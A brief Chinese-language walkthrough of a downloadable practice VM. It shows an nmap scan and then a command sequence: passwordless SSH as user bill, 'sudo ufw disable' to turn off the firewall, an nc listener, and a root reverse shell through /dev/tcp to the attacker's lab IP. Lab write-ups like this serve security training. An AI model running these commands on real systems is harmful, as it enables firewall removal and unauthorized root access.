靶機環境
鏈接：https://pan.baidu.com/s/1EcZidZbzbCDL6R8SiGG0Ng 提取碼：jne2
攻擊機IP 192.168.1.4
靶機IP 192.168.1.6
# nmap掃描結果
root@kali:~# nmap 192.168.1.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-26 21:18 EDT
Nmap scan report for 192.168.1.6
Host is up (0.031s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
8080/tcp open http-proxy
MAC Address: 08:00:27:77:66:39 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds
ls -ahl /home
ls -ahl /home/bill
使用ssh 用戶名@localhost 登錄服務器是不需要驗證的
ssh bill@loaclhost sudo -l #查看root權限命令
ssh bill@localhost sudo ufw disable #關閉防火牆
nc -lvp 4444 #攻擊機開啓端口
ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.1.4/4444 0>&1 #反彈shell
